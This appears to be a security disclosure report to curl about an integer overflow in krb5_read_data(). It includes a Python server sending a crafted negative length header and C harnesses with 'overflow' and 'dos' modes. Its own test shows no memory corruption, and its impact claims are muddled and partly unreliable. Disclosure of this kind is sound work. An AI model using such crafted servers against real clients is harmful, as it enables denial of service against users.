curl · Report #3341476
int overflow in krb5_read_data() leads to (possible) massive `recv()` write
How it was found
Summary:
(Note: AI created the PoC, not the report.)
In the krb5_read_data() function here, there are two issues (one of which I am very surprised hasn't been caught before.)
Issue #1 is that this block can result in an int overflow, where the following check becomes invalid if the value is wrapped to a negative:
len = (int)ntohl((uint32_t)len);
if(len > CURL_MAX_INPUT_LENGTH)
return CURLE_TOO_LARGE;
This will then seemingly completely mess up the logic here:
char buffer[1024];
nread = CURLMIN(len, (int)sizeof(buffer));
result = socket_read(data, sockindex, buffer, (size_t)nread);
Since -1 (let's say is less than 1024, nread will be passed as (size_t)-1, which will wrap to a massive number.
This eventually makes its way down to Curl_conn_recv with data[1024] and nread == ~SIZE_MAX) here and so on and so on.
It seems that this will result in an OOB read, as the buffer is only 1024-bytes long, while nread is going to be massive.
Issue #2 is that this whole code seems broken. This do-while loop continues while len is non-zero. But then len=0 is passed to decode() here. As a random guess, I imagine curlx_dyn_len(&buf->buf) should be passed, not len.
Affected version
All of them since inception, it seems.
Steps To Reproduce:
Setting up a whole krb environment is extremely difficult and annoying. This PoC is much easier, demonstrating the issue, while emulating the same code:
repro_server.py:
#!/usr/bin/env python3
import socket, struct, argparse, sys, time
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--port", type=int, default=9999)
ap.add_argument("--netlen", type=lambda x:int(x,0), default=0x00000010,
help="4-byte big-endian length to send (e.g. 0x10 or 16)")
ap.add_argument("--payload-byte", default="41", help="hex byte to repeat (default '41' = 'A')")
args = ap.parse_args()
payload = bytes([int(args.payload_byte, 16)]) * (args.netlen & 0xffffffff)
netlen = struct.pack("!I", args.netlen & 0xffffffff)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("0.0.0.0", args.port))
s.listen(1)
print(f"listening on :{args.port} …")
while True:
conn, addr = s.accept()
print("client:", addr, " sending frame len=", hex(args.netlen))
try:
conn.sendall(netlen)
if args.netlen:
conn.sendall(payload)
time.sleep(0.2)
finally:
conn.close()
if __name__ == "__main__":
main()
krb5_len_bug_harness.c:
// gcc -O2 -Wall -o krb5_len_bug_harness krb5_len_bug_harness.c
// ./krb5_len_bug_harness 127.0.0.1 9999
#define _POSIX_C_SOURCE 200112L
#include <arpa/inet.h>
#include <errno.h>
#include <inttypes.h>
#include <netdb.h>
#include <netinet/in.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
static int connect_tcp(const char *host, const char *port) {
struct addrinfo hints = {0}, *res = NULL;
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
int rc = getaddrinfo(host, port, &hints, &res);
if (rc) { fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(rc)); exit(1); }
int fd = socket(res->ai_family, res->ai_socktype, res->ai_protocol);
if (fd < 0) { perror("socket"); exit(1); }
if (connect(fd, res->ai_addr, res->ai_addrlen) < 0) { perror("connect"); exit(1); }
freeaddrinfo(res);
return fd;
}
static int socket_read_full(int fd, void *buf, size_t want) {
uint8_t *p = buf; size_t got = 0;
while (got < want) {
ssize_t r = read(fd, p + got, want - got);
if (r < 0) { if (errno == EINTR) continue; perror("read"); return -1; }
if (r == 0) { fprintf(stderr, "eof\n"); return -1; }
got += (size_t)r;
}
return 0;
}
// Stand-in for conn->mech->decode(...)
// We'll just report the length parameter we *received* and pretend to "decode" in place.
static int fake_decode(void *app_data, unsigned char *buf, int len, int data_prot, void *conn) {
(void)app_data; (void)buf; (void)data_prot; (void)conn;
fprintf(stderr, "fake_decode() was called with len=%d (should be >0 if correct)\n", len);
// Return a positive length to mimic successful decode of existing buffer.
return 1234;
}
int main(int argc, char **argv) {
if (argc != 3) {
fprintf(stderr, "usage: %s HOST PORT\n", argv[0]);
return 2;
}
int fd = connect_tcp(argv[1], argv[2]);
// --- Begin: mirror the buggy code’s control flow ---
int len; // NOTE: intentionally 'int' to match the problematic code
if (socket_read_full(fd, &len, sizeof(len)) != 0) return 1;
if (len) {
// network to host, then cast back to int (same as original)
len = (int)ntohl((uint32_t)len);
// Size check done against 'int' (problematic if sign bit set)
const int CURL_MAX_INPUT_LENGTH = 100*1024*1024;
if (len > CURL_MAX_INPUT_LENGTH) {
fprintf(stderr, "too large\n");
return 1;
}
// reset dynbuf (omitted; we’ll just malloc)
} else {
fprintf(stderr, "recv error (zero header)\n");
return 1;
}
if (len < 0) {
fprintf(stderr, "NOTE: len is NEGATIVE here after ntohl cast. This bypasses >MAX check above.\n");
}
unsigned char *dyn = NULL;
size_t cap = 0;
// Read loop that decrements len to zero
while (len) {
int nread = len < 1024 ? len : 1024; // CURLMIN(len, sizeof buffer)
dyn = realloc(dyn, cap + (size_t)nread);
if (!dyn) { perror("realloc"); return 1; }
if (socket_read_full(fd, dyn + cap, (size_t)nread) != 0) return 1;
cap += (size_t)nread;
len -= nread;
}
// At this point 'len' is 0, but 'cap' is the actual number of bytes we read.
fprintf(stderr, "after loop: actual_buffer_len=%zu, len_variable=%d\n", cap, len);
int nread = fake_decode(NULL, dyn, len, /*data_prot*/0, NULL); // <-- passes 0
if (nread < 0) { fprintf(stderr, "decode error\n"); return 1; }
fprintf(stderr, "fake_decode returned %d; we would then set dynbuf length to that.\n", nread);
free(dyn);
close(fd);
return 0;
}
Running them together:
python3 repro_server.py --port 9999 --netlen 0x80000010 &
./krb5_len_bug_harness 127.0.0.1 9999
we get:
$ ./krb5_len_bug_harness 127.0.0.1 9999
client: ('127.0.0.1', 43974) sending frame len= 0x80000010
NOTE: len is NEGATIVE here after ntohl cast. This bypasses >MAX check above.
realloc: Cannot allocate memory
demonstrates that this code is broken.
Extra:
The question is now whether it is exploitable. I can give a solid: "I don't know".
Here is another PoC which we can test with:
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <pthread.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
// --- Minimal curl-like scaffolding ---
typedef enum {
CURLE_OK = 0,
CURLE_TOO_LARGE = 1,
CURLE_RECV_ERROR = 2,
CURLE_AGAIN = 3,
CURLE_FAILED_INIT = 4,
CURLE_BAD_FUNCTION_ARGUMENT = 5
} CURLcode;
#define CURL_MAX_INPUT_LENGTH (16 * 1024 * 1024) // 16 MiB for demo
#define CURLMIN(a,b) ((a) < (b) ? (a) : (b))
struct dynbuf {
char *ptr;
size_t len;
size_t cap;
};
static void dyn_init(struct dynbuf *d) { d->ptr = NULL; d->len = d->cap = 0; }
static void dyn_reset(struct dynbuf *d) { d->len = 0; }
static int dyn_grow(struct dynbuf *d, size_t need) {
if (d->cap - d->len >= need) return 0;
size_t newcap = d->cap ? d->cap : 1024;
while (newcap - d->len < need) {
newcap *= 2;
}
char *np = (char*)realloc(d->ptr, newcap);
if (!np) return -1;
d->ptr = np; d->cap = newcap;
return 0;
}
static CURLcode dyn_addn(struct dynbuf *d, const char *src, size_t n) {
if (dyn_grow(d, n) != 0) return CURLE_RECV_ERROR;
memcpy(d->ptr + d->len, src, n);
d->len += n;
return CURLE_OK;
}
static char* dyn_ptr(struct dynbuf *d) { return d->ptr; }
static size_t dyn_len(struct dynbuf *d) { return d->len; }
static void dyn_setlen(struct dynbuf *d, size_t n) { if (n <= d->cap) d->len = n; }
struct krb5buffer { struct dynbuf buf; size_t index; };
struct connectdata {
int fd[2];
};
struct Curl_easy {
struct connectdata *conn;
};
// --- Vulnerable helpers (mirroring the snippet) ---
static CURLcode Curl_conn_recv(struct Curl_easy *data, int sockindex,
char *buf, size_t blen, size_t *pnread) {
(void)data;
int fd = data->conn->fd[sockindex];
ssize_t r = recv(fd, buf, blen, 0); // passes 'blen' straight to kernel
if (r < 0) {
if (errno == EAGAIN || errno == EWOULDBLOCK) return CURLE_AGAIN;
return CURLE_RECV_ERROR;
}
*pnread = (size_t)r;
return CURLE_OK;
}
static CURLcode socket_read(struct Curl_easy *data, int sockindex, void *to, size_t len) {
char *to_p = (char*)to;
CURLcode result;
size_t nread = 0;
while (len > 0) {
result = Curl_conn_recv(data, sockindex, to_p, len, &nread);
if (result == CURLE_AGAIN) continue;
if (result) return result;
if (nread > len) return CURLE_RECV_ERROR;
len -= nread;
to_p += nread;
}
return CURLE_OK;
}
// --- The vulnerable function as in the snippet (bug preserved) ---
static CURLcode krb5_read_data_vuln(struct Curl_easy *data, int sockindex,
struct krb5buffer *kbuf) {
int len; // <-- signed
CURLcode result;
int nread;
result = socket_read(data, sockindex, &len, sizeof(len));
if (result) return result;
if (len) {
len = (int)ntohl((uint32_t)len); // potential negative value
if (len > CURL_MAX_INPUT_LENGTH) // negative bypasses this check
return CURLE_TOO_LARGE;
dyn_reset(&kbuf->buf);
} else {
return CURLE_RECV_ERROR;
}
do {
char buffer[1024]; // fixed stack buffer
nread = CURLMIN(len, (int)sizeof(buffer)); // if len<0 -> nread<0
result = socket_read(data, sockindex, buffer, (size_t)nread); // cast to huge size_t
if (result) return result;
result = dyn_addn(&kbuf->buf, buffer, (size_t)nread);
if (result) return result;
len -= nread;
} while (len);
// pretend-decode, but len is now 0 in this code path
int dec = (int)dyn_len(&kbuf->buf);
if (dec < 0) return CURLE_RECV_ERROR;
dyn_setlen(&kbuf->buf, (size_t)dec);
kbuf->index = 0;
return CURLE_OK;
}
// --- Test harness ---
struct writer_args { int fd; int mode; };
static void* writer_thread(void *argp) {
struct writer_args *a = (struct writer_args*)argp;
uint32_t netlen;
if (a->mode == 0) { // overflow: claim 0x80001000, send 4096 bytes
uint32_t host = 0x80001000u;
netlen = htonl(host);
(void)send(a->fd, &netlen, sizeof(netlen), 0);
// send 4096 bytes
size_t payload = 4096;
char *buf = (char*)malloc(payload);
memset(buf, 'A', payload);
(void)send(a->fd, buf, payload, 0);
free(buf);
// keep the socket open briefly to encourage a single large recv
usleep(100000);
} else { // dos: claim huge, send very little then close
uint32_t host = 0x80010000u;
netlen = htonl(host);
(void)send(a->fd, &netlen, sizeof(netlen), 0);
char tiny[8] = {0};
(void)send(a->fd, tiny, sizeof(tiny), 0);
// close to simulate peer disappearance
}
// Close writer end
shutdown(a->fd, SHUT_WR);
close(a->fd);
return NULL;
}
static void set_blocking(int fd) {
int fl = fcntl(fd, F_GETFL);
if (fl >= 0) fcntl(fd, F_SETFL, fl & ~O_NONBLOCK);
}
int main(int argc, char **argv) {
int mode = 0;
if (argc > 1) {
if (strcmp(argv[1], "overflow") == 0) mode = 0;
else if (strcmp(argv[1], "dos") == 0) mode = 1;
else {
fprintf(stderr, "Usage: %s [overflow|dos]\n", argv[0]);
return 2;
}
}
int sv[2];
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) != 0) {
perror("socketpair");
return 1;
}
set_blocking(sv[0]);
set_blocking(sv[1]);
pthread_t th;
struct writer_args wa = {.fd = sv[1], .mode = mode};
if (pthread_create(&th, NULL, writer_thread, &wa) != 0) {
perror("pthread_create");
return 1;
}
// client side
struct connectdata conn = { .fd = { sv[0], -1 } };
struct Curl_easy easy = { .conn = &conn };
struct krb5buffer kbuf;
dyn_init(&kbuf.buf);
kbuf.index = 0;
CURLcode rc = krb5_read_data_vuln(&easy, 0, &kbuf);
printf("krb5_read_data_vuln returned code: %d\n", rc);
// Clean up
free(kbuf.buf.ptr);
close(sv[0]);
pthread_join(th, NULL);
return 0;
}
When building this and running it as ./a.out poc, it does not cause any problem:
$ ./a overflow
krb5_read_data_vuln returned code: 2
So what's going on? The "problem" is this call:
int fd = data->conn->fd[sockindex];
ssize_t r = recv(fd, buf, blen, 0); // passes 'blen' straight to kernel
With blen now effectively 18446744071562072064, the following is effectively called:
recv(fd, buf, 18446744071562072064, 0);
This fails because that is beyond even our whole stack, and recv() is smart enough on my system to not allow this; it fail with:
strerror(errno): Bad address
which, indeed means "The system detected an invalid pointer address in attempting to use a pointer argument of a call".
I have not investigated further whether it is possible to write an amount of memory which will satisfy the kernel's limitation here, and I don't know enough about other systems, and how they work.
In any case, I thought I would report this issue here instead of via a GH issue, because while it may be "unexploitable" to me, it may not be to others.
Impact
Summary:
OOM write due to int overflow, or possibly nothing at all (due to kernel restrictions of recv()).
Also the whole function looks broken (len stuff)